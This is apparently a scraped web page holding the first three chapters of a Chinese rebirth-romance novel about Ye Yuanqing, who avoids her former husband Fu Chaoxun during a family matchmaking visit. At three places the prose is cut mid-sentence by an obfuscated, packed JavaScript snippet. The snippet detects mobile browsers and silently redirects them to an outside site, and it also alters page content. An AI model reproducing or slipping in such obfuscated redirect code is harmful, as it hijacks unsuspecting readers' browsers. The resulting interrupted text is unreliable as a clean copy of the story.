《探倾朝》 1. 第 1 章 “元倾,原谅我一次好不好,以后让我做牛做马都可以。” “元倾,让我抱抱你,我真的很想要你。” “元倾,你别不理我。” 清冷的房间里,男子跪在地上,半敞着衣衫,一手扯着眼前人儿的衣袖,一手捶着胸口,一步一步地跪着追她。 窗牖被北风吹得吱吱作响,青隽面容上流下的泪水,落在手背上冰冰凉凉。 他不依不饶地求她,哭得委屈又可怜,面色如玉,眉目如画,嫣然一副娇公子模样。 “元倾,这次我真的知道错了,你再原谅我一次好不好?” 他说着说着开始扇自己的脸颊,痛哭流涕地像是个无措的孩子。 “夫人,老爷他……”小丫鬟慌慌张张地推门进来,看到跪在地上衣衫凌乱的男子,震惊地呆愣在了门前。 “他怎么了?”神色默然的叶元倾闻言心中猛地一紧,快步向门外走去。 男子见状一把拉住她,哭求道:“元倾,我再也不敢了,求求你别不要我,元倾……” 衣衫被他紧紧拽住,叶元倾看也未看他,用力甩开他的手跑出了房间。 漫天大雪飘个没完没了,肆虐的北风将屋檐上的灯笼吹得剧烈摇晃。 她跑到院外,看到她的夫君傅朝寻正一点点地向这边爬来,白茫茫的雪地里,殷红的鲜血像红绸一样拖的很长很长。 她震惊地僵在了原地,待看清他失去双腿的身体后,哇地一声哭了出来。 “傅朝寻,傅朝寻……” 她跌跌撞撞地向他跑去,一遍遍地叫着他的名字。 傅朝寻。 傅朝寻。 这是叶元倾生前最后一次见她的夫君傅朝寻。 —— 重回陵国十七年。 时至深秋,凉意渐浓,太师府门前的落叶才打扫干净又落了一层,两个门子拿了扫把过来清理。 不一会,一辆马车从远处缓缓驶来。 年长的门子给同伴使了一个眼色,将手中扫把递给他后跑回府里禀告。 留在院外的门子把脚下的落叶扫到一旁,还未等马车驶到跟前,就弯身行礼。 马车停下,随行的丫鬟掀开帘子,扶着叶元倾下来。 清晨的阳光还很稀薄,落在叶元倾的脸侧,泛着盈盈光晕。 绣着精致花纹的裙摆走起路来像水一样荡开,素白的鞋子踩在泛黄的落叶上发出轻微声响。 门子听声瞧去,懊悔自己动作太慢没能把树叶清扫干净。 管家小跑着过来,展颜笑道:“这么早就把姑娘叫来,实在辛苦。” 管家说着,弯身请叶元倾进门。 叶元倾提起裙摆踏门而入,望了一眼房檐上新换的灯笼,温声问:“王叔叔,府里准备的怎么样了?” 管家笑回道:“回姑娘,都准备好了,只等傅二公子过来。” 叶元倾往西厢房的方向走去:“叶宁妹妹起身了吗?” 管家回道:“起身了,时下正在梳妆。” 叶元倾到了叶宁的闺房前,小丫鬟进房禀告,不一会,一袭鹅黄色锦衣的小堂妹叶宁迎了出来。 “元倾姐姐!”叶宁看到她,明眸闪动,甜甜地叫了一声。 叶宁粉面桃花的脸蛋比以往精致,发型也梳的漂亮,衣衫上绣的海棠花儿美得同真的一样。 叶元倾抓住她纤细润白的小手,随她进了房间,笑说:“太师府的人去叫我的时候我就已经起身了,我怕你紧张,便想着早点过来陪你。” 叶宁请她坐下,给她倒了一杯茶,又走回妆台前让嬷嬷继续给她梳妆,她笑说:“今日确实有点紧张,一想到要见傅二公子,我的心脏就砰砰直跳。” 她挑了一支金叶簪子递给梳妆的嬷嬷。 叶元倾看着她微微泛红的脸蛋,打趣道:“都见过几次面了,怎么还会脸红?莫不是妹妹日思夜想的了。” 叶宁摸了摸发热的脸颊,低头一笑,尽显少女情窦初开时的娇羞之态:“见是见过了,但也只是远远地看着,若不是娘亲给傅王妃提起,估计二公子也不会前来赴宴,二公子应该知晓这次赴宴的目的。” 叶宁半年前就看上了亲王府的二公子傅峥临,可惜两家家教森严,她连与傅峥临相识的机会都没有,最近娘亲有意给她说亲,她这才提到了傅峥临。 起先娘亲心里没底,后来托了关系才把傅王妃约了出来,还好傅王妃是个蔼然可亲的人,只是稍稍提起,就答应让傅峥临来太师府做客。 今日算不上正式相亲。 “元倾姐姐!”叶宁拿了两副耳坠给她看,“你说我是戴白玉耳坠,还是戴碧玉耳坠?” 叶元倾仔细瞧了瞧,又与她今日的穿着对比了一番,指了指白玉耳坠道:“戴这副吧!和衣服搭配,也衬得你肤色好。” 叶宁把白玉耳坠递给嬷嬷,看了一眼她的穿着,问道:“姐姐今日为何没有好生打扮?” 叶元倾缴着手中帕子,笑说:“我随意惯了,今日眼里只有妹妹,自是不必打扮的。” 叶宁听着她温润的话语,心里像开出了花,说:“我娘亲说,傅大公子可能会陪着家弟过来赴宴,我觉得姐姐还是有必要在意一点,大公子现在和你舅舅走得亲近,还经常邀你二哥下棋,或许……” 叶宁没有说下去,看了她一眼。 叶元倾明白她的意思,喝了口茶,道:“你又不是不知他已经订婚,未婚妻还是禹国公主,一国公主下嫁到王府,在陵国还是头一回,你觉得傅大公子会随便看上别人?” 叶宁不赞同她的说法,略有骄傲地道:“我家元倾姐姐可不是随便的人,元倾姐姐花颜月貌,神清骨秀,比天上的仙女还要好看。又是柳絮才高颇有才气的主,还写得一手好字,当真是京城里一大才女。这两年去将军府提亲的公子都快把门槛踩破了,谁敢说我家姐姐随便。” 叶元倾被她惹笑了,道:“婚姻讲究缘分,姐姐目前还不打算成婚。” “那姐姐可有中意的人?”叶宁问她。 这个问题叶宁不止问过一次,这两年问的最为频繁,但是叶元倾从来不正面回答。 叶元倾今年一十七岁,正是谈情说爱的年纪,偏她却对此事只字不提。 叶宁心里好奇,当下谈起婚嫁,还是想问一句。 叶元倾依旧和以往一样,只是轻轻一笑并不回答。 叶宁猜想,叶元倾喜欢的人可能是她的表哥温衍。 温衍比叶元倾长两岁,十岁时因着家族突发变故,便在叶元倾家中寄宿了几年,直到叶元倾十五岁他才离开。后来他随父亲到了临城就职,叶元倾的父亲被封为镇国大将军之后,父子俩才得以回京。 在叶宁的印象里,温衍是一个温润如玉的病娇公子,他长相好,性情好,就是身体不太好,他有先天性哮喘病,多说一会话就咳嗽的不行。 但他对叶元倾却是极好的,好到什么程度呢?好到在他寄宿的那几年里,他几乎把所有的温柔和疼爱都给了叶元倾。 叶元倾喜欢吃北城的冻梨,他会冒着大雪赶两个多时辰的路程去给她买,叶元倾犯错受罚,他会顶着大太阳跪在姑父门前替她求情。 这两年,叶宁懂了一些男女情事,她越发觉得温衍对叶元倾的好已经超过了亲情。 她曾旁敲侧击地问过几次,从叶元倾的话语中可以听出,她对温衍的感情有一点复杂,谈不上很喜欢,但是又有点在意。 叶宁摸不清叶元倾的心思,瞧着她不愿多说,也不便再问。 她换了话题道:“姐姐,昨晚我听琛哥哥说,皇家把城东屠门的案子交给了傅朝寻,傅朝寻接手以后就去了你大哥管辖的悦令堂,你可知他去那里做什么?不会跟这个案子有关吧?” 叶宁突然提起傅朝寻,不禁让叶元倾一怔。 叶宁叹气道:“说起傅朝寻我就胆怯,你说同是亲王府的公子,他和傅峥临怎么差别那么大呢?就算他没有傅峥临的温和,起码也要像他大哥一样平易近人,他那种噬人的眼神,真的很可怕。” 叶宁以前见过傅朝寻,那年她的父亲因为一些要事险些丢了官职,上上下下所有官员都极力保她的父亲,唯独傅朝寻拼了命的上奏折参她的父亲。 他们叶家和傅家本没有什么恩怨,也不知为何,那两年,傅朝寻跟中风的野狗一样对他们叶家的官员参了一回又一回。 叶宁担忧道:“你说他怎么会是傅峥临的弟弟呢?若是我真的嫁进了亲王府,我要怎么和这样的人相处,想一想以后要叫他一声小叔,我的后背都会发凉。” 叶宁对傅朝寻的成见不小,这也不奇怪,傅朝寻在人们的印象里确实像一个毫无人情味的“野狗”,逮着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133897|150000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁咬谁。 叶元倾一手托腮,一手拨弄着花瓶里的花叶,安静地听着叶宁对傅朝寻的不满。 “姐姐,你可有见过傅朝寻?”叶宁问她,“我记得春日宴的时候你跟着二婶去了亲王府,应该有见到他吧?” 叶元倾俯身闻着花儿的香气,轻回道:“见过。” “那姐姐觉得他如何?”叶宁接过嬷嬷递来的轻纱披上,“是不是看着特别无情,特别冷漠,甚至有点可怕?” 叶元倾没有回答。 叶宁回忆了一下他的面容,唏嘘道:“论长相,亲王府三个公子里就数他长得最好看。有人说,他的样貌随了他去世的娘亲,气质和身高随了他的父亲,父母的外貌优点全都被他占去了,只是这个性格也不知随了谁。这两年,给他大哥二哥说亲的一个接一个,唯独没有一个给他说亲的,也不知哪家的姑娘会嫁给他,就算嫁了,估计也是遭罪的。” 那年傅朝寻确实把太师府得罪的不轻,以至于叶宁说起他来恨得牙根直痒痒。 叶元倾垂着眼,一句话也不说。 傅朝寻是个什么样的人,叶元倾比谁都清楚,上一世与他同床共枕了那么多年,她是极其了解他的。 叶宁转头看她,望着她失神的样子,问道:“难不成他也得罪过姐姐?” 叶宁认为傅朝寻针对过叶家所有人。 叶元倾缓过神,摇了摇头。 叶宁见她没有搭话的意思,也没再追问。 叶宁梳妆完毕,叶元倾便陪着她到前堂里见父母。 伯父叶展连平时日理万机,今日难得抽出时间,三个哥哥也都放下手头活儿静候傅峥临。 叶元倾随着叶宁进了前堂,给高坐上的伯父伯母行礼道:“元倾拜见伯父伯母。” 本是满脸严肃的叶展连看到叶元倾,展颜笑道:“元倾快坐,到了伯父家无需多礼。” 一旁穿着格外得体的伯母江凤也道:“辛苦倾儿一大早跑来,宁儿有元倾这样的姐姐,让伯母少操了不少心,明个让老二带着你俩去城南的青山转转,听说那里的果子特别好吃。” 被点名的老二叶卓,忙坐直了身子,附和道:“青山的果子确实好吃,有几家的味道很特别,明日我带两位妹妹过去尝尝。” 叶元倾落了座,冲叶卓笑道:“卓哥哥觉得好的东西一定不会差,那明日就劳烦卓哥哥了。” 叶卓在太师府三兄弟里最会为人处世,通常被老三叫做“老好人”。他很喜欢叶元倾的性格,叶元倾和他有很多相似之处,她性情温和,待人有礼,平时诗词歌赋随口就来,书法字画也在京城里数一数二。 他笑回道:“这有什么劳烦的,这本就是哥哥应该做的事情。” 叶宁拿了一个橘子搭话道:“是啊姐姐,姐姐对他不必客气,随便使唤。” 在叶宁心里,哥哥为妹妹做事天经地义。 叶宁这般说,叶卓也不生气,轻笑道:“就数你这小丫头霸道。” 叶宁冲他嘿嘿一笑,把剥好的橘子递给他吃。 叶展连有事要交代儿子,也未避开叶元倾,他道:“皇家把东街的命案交给了傅朝寻,这几日傅朝寻在全城搜查,还去了悦令堂,琛儿和卓儿退了晏去一趟悦令堂,看看元恒那里有没有遇到麻烦。” 老大叶琛思虑道:“这事我也听说了,虽说傅朝寻为人冷血了些,但是办事能力却是极强的,先前诸多棘手难办的案子交到他的手里都能轻松解决,这次估计也没有问题。只是悦令堂与他本无交涉,这两年我们叶家的人也对他恭恭敬敬,就算他想找点麻烦,也没有理由。” 他说完,看向叶元倾,问道:“元倾妹妹可有听你大哥说起傅朝寻?” 方才叶宁已经和叶元倾抱怨了一通,时下又讨论起此人,叶元倾心中五味杂陈,她垂眸回道:“大哥最近有点忙,时常不在府上,我还没有听他说起此事。” 叶琛应了一声,道:“那妹妹回去以后提醒元恒小心此人,若是遇到麻烦,及时过来找我。” 叶家兄弟非常团结,遇事互帮互助从来不闹矛盾,毕竟叶家官员众多,一方有难八方深受牵连。 叶元倾颔首道:“好的琛哥哥,我回去就告诉大哥。” 转眼到了巳时,管家跑来禀告:“老爷,亲王府的傅峥临和傅朝寻两位公子到了。” 傅朝寻? 2. 第 2 章 秋日里的天空格外地蓝,白云就像被洗过一样。 叶元倾随着众人出门迎客,自方才提起傅朝寻以后她就开始心不在焉,她默默走在人群后头,手中的帕子被她绕了一圈又一圈。 傅家来了好几个人,其中有几个是抬礼品的,另外两个…… 另外两个,一个一袭蓝衣温润如玉,一个一袭黑衣英气逼人,无论是穿着还是气质,一看就是达官贵人家的贵公子。 “二公子,三公子,屋里请。”叶展连到底是见过大风大浪的人,看到傅朝寻心里虽惊,但还是面不改色地请兄弟二人进堂。 “姐姐,真的是傅朝寻。”叶宁往叶元倾身边挨了挨,小声道:“他怎么来了?不是说大公子要来吗?” 叶宁看到傅朝寻就像猫见了耗子一样,甚至比看到傅峥临都要紧张。 叶元倾拍了拍她的手背,安抚道:“妹妹别怕,他又不会怎样。” 叶宁见她如此淡定,问道:“姐姐不怕他?你看他那个眼神。” 一群人正往前堂里走,叶元倾去看傅朝寻,刚好被叶卓挡住了视线,只看到了他半边脸。 众人到了房门前,叶元倾和叶宁退到一旁,先请客人进房。 日光落下来,在地上投出一片影子,叶元倾垂首站着,人群中,一双绣着紫藤花的黑色鞋子在她面前停了一瞬,然后继续向前走去。 叶元倾的目光追了鞋子一会,最后落在了傅朝寻的背影上。 大伙进了前堂,长幼有序地落了座。 傅峥临今日穿的格外庄重,一袭绣着金色图腾的蓝色锦衣衬得他极其尊贵。 傅峥临有几分书生气质,眉眼温润,说话时会带着一抹笑意,看人时也比较真诚。 从样貌看,他和叶宁有一点夫妻相。 叶宁坐在他对面,偷偷看了他一眼又一眼,激动的心情险些藏不住。 房间里的气氛有点奇怪,三兄弟板正地坐着,叶展连也有点紧张。 可能这种突如其来的压抑气氛,来自那位不请自来,冷着俊脸笔挺端坐的傅朝寻吧!不然大家怎么会突然这么拘谨。 虽说傅朝寻冷漠了一些,但是长相却是人群中最出众的,单单身上独清的气质,估计全京城也找不出几个。 他身形如松,五官英俊,一双眼睛虽是深邃但也勾人,甫一看冷了些,再一看会上瘾。 可是长相好又有什么用呢,他这个特立独行冷血的性子怪不招人待见的。 叶展连本来准备了好多话要和傅峥临说,结果只聊了几句就依事务繁忙离开了,走时还交代三个儿子好生招待两位公子。 太师离开后,太师夫人也去张罗宴席,屋里只剩下小辈们。 傅峥临礼貌谦逊,说起话来也很有风趣,叶宁的三个兄长他不陌生,不一会几人就聊开了。 叶琛没有忘记今日的目的,特意安排叶宁带着傅峥临去后花园里赏菊花。 两位主角走了以后,房间里只剩下三兄弟和叶元倾以及默默无言的傅朝寻。 屋里太安静就会显得尴尬。 老三叶绍挠了挠后颈,硬着头皮给傅朝寻打招呼:“三公子最近可忙?” 傅朝寻虽和太师府有点恩怨,但他毕竟是跟着傅峥临来的客人,总不能冷落了他。 老大叶琛感觉眼皮突突直跳,他扭头去看傅朝寻,只见傅朝寻盯着叶元倾手里的手绢,淡淡地回了一句:“挺忙。” 是挺忙,皇家刚给他安排了差事。 只是他不去查案,来这里做什么。 听外界说,亲王府三兄弟貌合神离,老二老三还有一点过节,按理说,老二来太师府做客,陪同的怎么也不可能是老三傅朝寻。 挺奇怪的。 老二叶卓最会为人处世,这个时候也没了主意,父亲溜之大吉,留给他们三兄弟一个“烂摊子”。 三人以前从未和傅朝寻接触过,一时间不知要和他聊些什么。 叶绍是个直爽人,说话也不太会拐弯抹角,他直言:“三公子,大公子今日为何没有来?” 亲王府给太师府的消息:今日陪同的人是老大傅呈延。 傅朝寻似乎听出了叶绍的言外之意,抬眸看了他一眼,开口嗓音依旧清冷:“大哥有重要事情走不开,我来也一样。” 一样吗?怎么会一样,若是其他人,太师府招待不周可能只是落个失礼的口舌,但是傅朝寻……说不定他出了太师府就跑到皇宫里参他们。 叶绍头皮有些发麻,起身道:“那个,我还有事情要忙,恕不能陪公子了,先让大哥二哥好生招待您。” 叶绍想溜。 他见傅朝寻没做声,行了一礼就出去了。 这时候管家过来找叶卓,说是老爷叫他。 叶卓正愁没有理由离开,这下可好了,他连忙给傅朝寻行礼,快步出了房间。 他走后,房间里除了傅朝寻,还剩下叶琛和叶元倾。 叶元倾手里的手绢一圈圈地绕着,垂着眼眸像是失了神。 叶琛叫来了丫鬟给傅朝寻添了茶,笑问道:“公子平时都有什么爱好?可喜欢品茶?我这里有一些新茶,公子回去时带一些尝尝。” 京城里的贵公子们都喜欢品茶,叶琛觉得傅朝寻可能也喜欢。 傅朝寻依旧笔挺地坐着,视线还落在叶元倾的手绢上,清声回道:“没什么爱好,也不爱品茶。” 他和人说话时语气有些生硬,听着有点爱搭不理。 叶琛吸了口气,琢磨了一会,又找了一个话题道:“我在城外的庄子里有一个马场,经常有一些比赛,公子若是平日无事,可以过去看看热闹。” 叶琛听说傅朝寻的马术很好,对赛马应该比较感兴趣,这个话题应该聊的起来。 也不知傅朝寻是天生不爱说话,还是不愿理太师府的人,话题递到他嘴边他也只是“嗯”了一声。 叶琛又吸了口气,真不知道要怎么与他继续聊下去。 房间里又安静了下来。 傅朝寻的目光从叶元倾的手绢上移到她的手腕上,她的手腕上系着一个红色绳子,红绳子上串着两颗上好的白玉珠子,白玉珠子落在她雪白的肌肤上,格外地惹眼漂亮。 叶元倾察觉到了他的目光,把手往袖子里缩了缩,对叶琛道:“琛哥哥,你若是忙,就先过去,我来招待三公子。” 叶元倾早就看出了叶琛的尴尬,与其这样尬聊,还不如让傅朝寻单独坐一会,毕竟他最不爱与人讲话。 “父亲。”这时候,叶琛的小女儿叶樱跑来,说:“父亲,风筝挂到树上去了,你去帮我取下来。” 她说着,跑到叶琛跟前,怯生生地看了一眼傅朝寻,一把扑进了父亲的怀里。 叶琛揉着叶樱的脑袋,对傅朝寻道:“傅公子实在抱歉,我去帮樱儿把风筝取下来,一会过来招待你。” 叶琛有了合理的理由离开了,他走后,房间里只剩下叶元倾和傅朝寻。 傅朝寻是太师府的客人,本不该由叶元倾来接待,毕竟按照官家大户的规矩,像傅朝寻这般身份的人过来做客,主家起码也要出两个正主陪衬的,如今走的走,躲的躲,没有一个愿意招待他。 也许这种被人忌惮被人躲避的场面傅朝寻早就司空见惯了,他安静地坐着并未露出不悦。 人们常说,物以类聚人以群分,像他这种只会闷头往前冲,天王老子来了都不怕的冷血人,确实没有几个人愿意和他做朋友。 但是他才二十一岁,二十一岁正是风华正茂的年纪,别人家的公子小姐都活的熠熠生辉,唯独他好像活在黑白世界里。 要说他冷漠的没有一点人情味,倒也不是,他对外人冷漠,但只听他父亲的话,只要父亲叫他一声“寻儿”,他就像被蒙住双眼的鹰犬,可以为了他父亲上刀山下火海,恨不得豁出命来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133898|150000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>上一世,叶元倾经常在想,上天到底少给了他什么,让他变得如此孤僻如此冷漠。 时下日高三丈,秋光徐徐,叶元倾看着叶琛出了门,又垂下头来,继续绕着手绢。 房间里格外地安静,阳光落在门边的花几上,照得两盆花儿分外娇艳。 小丫鬟又添了一些水果,收拾了叶宁放在桌子上的橘子皮。 叶元倾让小丫鬟换了一壶清淡一点的茶。 她端起茶壶走到傅朝寻面前,亲自为他倒了一杯,避着他的目光道:“公子且坐一会,若是觉得闷,可以到院子里走走,伯父和哥哥们最近事务繁忙,恕不能好生相陪,公子若是有什么需要,尽管与我说。” 叶元倾对他很客气,语气也很温柔,她理解被人冷落的滋味。 新倒的茶飘着淡淡清香,傅朝寻的目光落在她的侧脸上,看着她粉面桃腮的脸颊,一对漆黑的眼睫微微颤动着,一只手也无处安放地抓了抓腿边的衣服。 叶元倾感觉到了他的目光,侧了一下脸。 这时候,随着轻微的脚步声,叶琛的小儿子叶凌走了过来,他停在门前,看了看房中二人,怯生生地问:“元倾姑姑,我父亲呢?” 叶元倾的思绪被叶凌打断,她转过身来,走到他跟前,轻回道:“你父亲去给妹妹取风筝了,凌儿有什么事?” 叶凌歪头看了一眼傅朝寻,凑近了她,小声道:“我方才不小心撞倒了墨汁,把父亲让我摘抄的诗词弄脏了,父亲晚间要检查,我有点害怕。” 这对叶凌觉来说不是小事。 叶元倾揉了揉他的脑袋,笑说:“凌儿别紧张,姑姑过去帮你看看。” 叶凌点着头,拉着她就往门外走,二人出了门,只听有脚步声跟了过来。 转过几个回廊,到了叶凌的书房前。 叶凌看向跟来的傅朝寻,既紧张又疑惑地问:“你跟来有什么事吗?” 傅朝寻个子很高,叶凌要使劲仰着脑袋才能看清他的眼睛。 傅朝寻低头看他,没有立即回答,他走到一旁的大树下,轻靠着树干,回道:“我无事,你们不用管我。” 他说罢,看向叶元倾,叶元倾躲避了一下他的目光,随叶凌进了书房。 叶凌把弄脏的宣纸拿给她看,愁着小脸道:“姑姑,我父亲最是在意我的字迹,从不允许我把书纸弄脏了,这几张诗词全被墨汁浸湿了,自是不能再交给父亲的,可我又不想重新抄写一遍,姑姑你说我该怎么办?” 小孩子最不爱读书写字,尤其像叶凌这样七八岁的年纪。叶元倾理解他,可是叶家家教森严,尤其在学业方面,是决然不能糊弄的。 她拉着他坐下,剥了一个橘子给他吃,安抚道:“今日家里有客人,大人们都很忙,你父亲现在也无心处理,正因如此,凌儿才不要给父亲添麻烦,凌儿在姑姑心里一直都是乖巧懂事的孩子,又爱学习,又爱写字,不过几首诗词而已,是难不倒我们凌儿的。” 她掰了一片橘子喂进他嘴里,又好言道:“我们先吃个橘子,补充点能量,一会姑姑陪着你一起写,你写一遍,姑姑也写一遍。” 叶元倾很有耐心哄人。 叶凌觉得她说的有道理,又思量着父亲的鞭子,最后点头道:“好的姑姑,凌儿再抄一遍。” 他跑到桌案前,拿了纸和笔开始抄写。 叶元倾也拿了笔墨过来,在桌子上铺了宣纸,瞧着他认真的样子,夸赞道:“姑姑就知道凌儿最懂事了,明个姑姑给你买糖人吃。” 叶凌连连点头道:“谢谢姑姑。” 小孩子写字慢,叶元倾陪着他写了半个时辰才完成。 叶元倾带着叶凌出了房间,发现傅朝寻还在大树下站着。 她停在门前看着他,树叶飘落的大树下,他安静地站在那里,好看的就像一幅画。 微风拂过,恍惚间,让她想起了前世与他成婚的那一年。 3. 第 3 章 那一年,她十九岁,他二十三岁。 也是在一个秋天里,北郡王突然夜袭皇城,带领几十万大军从西南两个方向猛烈进攻。 她的父亲作为陵国大将军,带领自家两个儿郎死守着皇城。 硝烟战起,死伤无数,大战持续了好几日,骁勇无敌的北郡王占据了上风。 战火纷飞,血流成河的战场上,她的父亲身受重伤险些丢掉性命,就在危难关头,傅朝寻突然带领一批人马从东边方向杀了过来。 他身穿盔甲,持着长剑,依极其凶狠的进攻方式砍掉了北郡王的脑袋,还把反贼杀的片甲不留。 在傅朝寻的帮助下,皇城保住了,她父亲和她兄长的性命也保住了。 后来叶元倾才知道,原来那个时候傅朝寻什么也没有,他没有军队,没有皇家指令,却凭着一个天不怕地不怕的胆子,私自调用了临城的兵将前来救援。 她的父亲为了感谢他,带着家儿几次登门拜访,在皇帝有意给他指婚时,他突然对她父亲说:“伯父,若是真的想要感谢我,就把你的女儿叶元倾许配给我吧!” 把女儿叶元倾许配给他? 一时间,她叱咤风云的老父亲愣了半晌也没有说出话来。 自那日起,她的父亲开始茶不思饭不想,拍烂了脑门也想不出一个拒婚的理由。 最后,还是她主动站出来,说:“父亲,我愿意嫁给傅朝寻。” 是的,她愿意,她愿意嫁给傅朝寻,不为别的,就为了他是救国有功的大英雄,更为了他是她父亲的救命恩人。 那时若是没有他的及时搭救,她可能连父亲和兄长都没有了。 他们成婚的消息传遍了整个京城,可是成婚那天,却没有几个人是祝福的。 那日她穿着最隆重的礼服坐在婚房里,紧张地等着他来。 直到深夜,他推门而入,走到她跟前,掀开了她头顶的红盖头。 她抬头看他,看着他略有惊喜的眼睛,呆愣了许久都没有缓过神来。 那晚他们没有圆房,他在桌前坐了一夜。 后来,过了一个多月,在他微醺的状态下,才完成了洞房花烛夜该完成的事情。 事后,他洗漱回来,倚在房门前,问她:“你……有没有什么需要我为你做的?” 她摇着头,回道:“没有。” 他一直站在那里,站了许久,也不知道在想些什么,烛光下,他英挺的身形投在木门上,是那么的好看。 他很爱干净,皮肤又好,一双手肤质白皙,指骨修长,就像精雕细琢的一样。 他们成婚半年后她就很少见到他了,她不知道他每天都在忙些什么,他什么也不愿意与她说,甚至成婚一年二人还如同陌生人一般。 有时候他一走就是十天半个月,最长的时候是半年。 但他每次外出回来都会给她带一些家里常有的食物,也会给她带一两件很俗气的首饰,并且睡觉时也会对她说几句扫兴的话。 他说:“元倾,父亲让我去做一件很危险的事情,若我回不来,你就写一封和离书回叶府。” 他说:“元倾,我父亲想让我们生一个孩子,我觉得我可能活不了太久,孩子……还是别生了。” 他说:“元倾,我这次可能真的回不来了,我把我的全部家当换成了银票留给你。” 整整两年,叶元倾用了两年的时间才听惯了他这些扫兴的话,才习惯了看着他在权势里不要命的厮杀。 他就像一个没有自主意识的狼狗,他的父亲让他咬谁他咬谁,哪怕他明明知道危险,他也会不顾一切的去做。 成婚第一年,她躲在被窝里哭过好几回,每一回她都安慰自己:她只不过是来报答他的,何必要在他身上贪图一些不可能发生的感情呢? 所以,后来的几年,她过得没有那么累了,对一切也看开了,也接受了别人对他和对他们婚姻的诸多不满和谩骂。 人没有欲望的时候,活的是轻松的。 后来有段时间,他每次回来,都会对她说一句:“元倾,我可能要死了。” 是的,他死了,真的死了,死的很凄惨,死的时候连双腿都被人砍掉了。 那天下着大雪,她慌慌张张地跑到门外,白茫茫的雪地里,她看到他一点点地向她爬来。 门前的路很长很长,雪地里的血也拖了很长很长。 她跑到他跟前,颤抖着双手捧住他冰凉的脸颊,看着他双腿尽失不断流血的身体,眼泪就像决堤的河流,收也收不住。 他的手如冰一样凉,抚上她的脸,笑着说:“元倾,死之前我想再看看你。” 成婚几年,她很少见到他露出笑容,这一次,他却笑得那么温暖,没有不甘,没有埋怨,没有仇恨,什么也没有,只是单纯地给了她最后一个笑容。 现在要问她,嫁给他的那几年快乐过吗?她想说她想不起来,一点也想不起来。 要问她重活一世还会嫁给他吗?她想说不会了,应该不会了。 这一世,她想避开他,彻底地避开他。 枯枝败叶的大树下,他静静地向她看来,就像看着一个很熟悉的人。 现在熟不熟悉已经不重要了,只要她装作不熟悉,无论他是否和他一样重生而来,她都不打算和他再有任何瓜葛。 重来一次,哪还有回头的道理。 她牵着叶凌的手往前院里走,他动身跟了上来。 叶凌好像有点怕他,小脚走得飞快。 他们默默地往前走着,到了一处回廊里,傅朝寻突然用手点了点叶凌的脑袋,道:“你先去玩,我有事找她。” 叶凌吓得一激灵,转身跑开了。 回廊旁边的竹叶已经泛黄,几条枝叶探进来,别有一番景象。 太师府的院子很大,旁边的小道上有丫鬟来来往往。 叶元倾往柱子后面挪了挪。 傅朝寻走上前,倚在柱子上,帮她挡住了丫鬟们探来的视线。 他把目光落在她的手腕上,清声道:“我最近查的案子有点复杂,牵扯到了你大哥,悦令堂里可能有内鬼,你回去提醒他。” 他与人说话时总是冷冰冰的,哪怕是好心提醒,也让人体会不到一点亲切感。 她抬头看他,对上他的眼眸,又急忙撇开了,匆匆说了一句“谢谢”就转身走了。 他还站在原地,安静地看着她消失在了回廊里。 去赏菊花的叶宁和傅峥临已经回来了,两个人正坐在一起聊天,从傅峥临的神情上可以看出,他对叶宁应该是极其满意的。 叶元倾进了前堂,和堂中几人说了一会话。 到了用午饭的时间,叶琛招待客人到了膳厅,叶展连害怕几个孩子拘束,借由公务缠身没有陪同。 几人落了坐,叶琛给两位客人斟着酒,说了几句客套话。 宴席间,叶绍和傅峥临闲聊了起来,从交谈中可以看出,傅峥临不仅为人和善,还非常能言善道,一句一个兄长弟弟叫得格外好听。 叶元倾胃口不佳,只吃了几口菜就放下了筷子。 一旁的叶卓很会看人脸色,拿了一双筷子,为她夹了几道菜,还给她盛了一碗粥。 她有些不好意思地感谢道:“多谢卓哥哥,我自己来。” 叶卓把她垂在地上的轻纱扯起来放回她的手中,依旧笑道:“元倾妹妹不用客气,想吃什么,告诉哥哥,哥哥给你夹。” 叶卓对谁都是一副热心肠,有时候热心的没有一点边界感。 叶元倾轻轻颔首,伸手夹菜时,往旁边的位置挪了挪。 “元倾妹妹。”叶绍突然叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133899|150000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她,掏出一个精致的小盒子隔着叶卓递给她:“我差点忘记了,温衍让我把这个交给你,妹妹快打开看看里面是什么。” 叶元倾方放下筷子,接过盒子,说了句感谢,放在一旁没有打开。 叶卓把粥往她跟前推了推,问叶绍:“他怎么不自己来送?每次都让你转交。” 叶绍挑眉回道:“我哪知道,可能是一些私密物品,人家不好意思。” 叶卓看了一眼叶元倾,伸手想拿她面前的盒子,却被她抢先一步攥在了手里。 叶卓的手顿了一下,尴尬地缩了回来。 